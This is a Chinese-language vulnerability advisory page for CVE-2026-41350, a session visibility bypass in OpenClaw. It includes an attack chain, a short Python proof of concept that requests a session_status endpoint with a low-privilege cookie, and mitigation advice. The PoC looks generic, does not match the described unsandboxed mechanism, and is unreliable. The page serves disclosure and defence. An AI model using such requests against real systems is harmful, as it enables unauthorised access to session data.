IPBUF安全漏洞报告
English
CVE-2026-41350 CVSS 4.3 中危

CVE-2026-41350 OpenClaw会话可见性绕过漏洞

披露日期: 2026-04-23

漏洞信息

漏洞编号
CVE-2026-41350
漏洞类型
访问控制绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

访问控制绕过信息泄露OpenClawCVE-2026-41350会话管理

漏洞概述

OpenClaw在2026年3月31日之前的版本中存在一个严重的会话可见性绕过安全漏洞。该漏洞的根源在于session_status函数在处理非沙盒化调用请求时,未能正确执行系统配置的tools.sessions.visibility限制机制。这使得攻击者能够在绕过沙盒约束的情况下直接调用该函数,从而成功规避原本严格的会话策略控制。一旦利用成功,攻击者可以获取本应受保护的受限会话信息。鉴于该漏洞的CVSS评分为4.3,属于中危级别,且攻击门槛较低(仅需低权限),建议用户尽快关注并修复,以防止敏感信息泄露风险。

技术细节

该漏洞主要影响OpenClaw 2026.3.31之前的所有版本。其技术核心在于OpenClaw框架中session_status函数的权限校验逻辑存在缺陷。在系统设计上,tools.sessions.visibility配置项旨在定义会话信息的可见性范围,防止未授权访问。然而,代码实现中存在一处逻辑盲区:当session_status函数被以非沙盒化(unsandboxed)方式调用时,相关的权限检查代码被绕过或未被执行。这导致攻击者无需满足沙盒环境下的严格条件,即可直接触发该函数。利用此漏洞,攻击者仅需具备低权限账户,即可通过网络发送特制请求,访问到其他用户的会话状态或内部系统标识。这种信息泄露虽然未直接导致系统崩溃或数据篡改,但暴露的会话元数据可能成为后续渗透攻击的关键跳板,严重威胁系统的整体安全性。

攻击链分析

STEP 1
侦察
攻击者识别目标系统运行的是OpenClaw且版本低于2026.3.31。
STEP 2
获取低权限凭证
攻击者注册或获取一个低权限账户,满足漏洞利用的PR:L要求。
STEP 3
漏洞利用
攻击者构造特定的网络请求,在非沙盒化上下文中调用session_status函数。
STEP 4
信息泄露
由于系统未执行tools.sessions.visibility检查,攻击者成功获取受限的会话信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL for the vulnerable OpenClaw instance # Replace with the actual endpoint of the target target_url = "http://vulnerable-host:port/api/session_status" # Headers typically used in the request headers = { "Content-Type": "application/json", "User-Agent": "Vulnerability-Scanner/1.0" } # Attacker's session cookie (Low privilege required as per PR:L) # This simulates an authenticated low-priv user cookies = { "session_id": "valid_low_priv_session_token" } try: # Send a request to invoke session_status # The vulnerability lies in the lack of sandbox enforcement here response = requests.get(target_url, headers=headers, cookies=cookies, timeout=10) # Check if the request was successful if response.status_code == 200: print("[+] Exploit successful! Restricted session info leaked:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

OpenClaw < 2026.3.31

防御指南

临时缓解措施
在无法立即升级的情况下,建议管理员通过网络访问控制列表(ACL)或Web应用防火墙(WAF)阻断对session_status接口的外部调用。同时,应启用更详细的日志记录,监控任何试图在非沙盒环境下访问敏感会话状态的异常行为,以便及时发现并阻断潜在的攻击尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表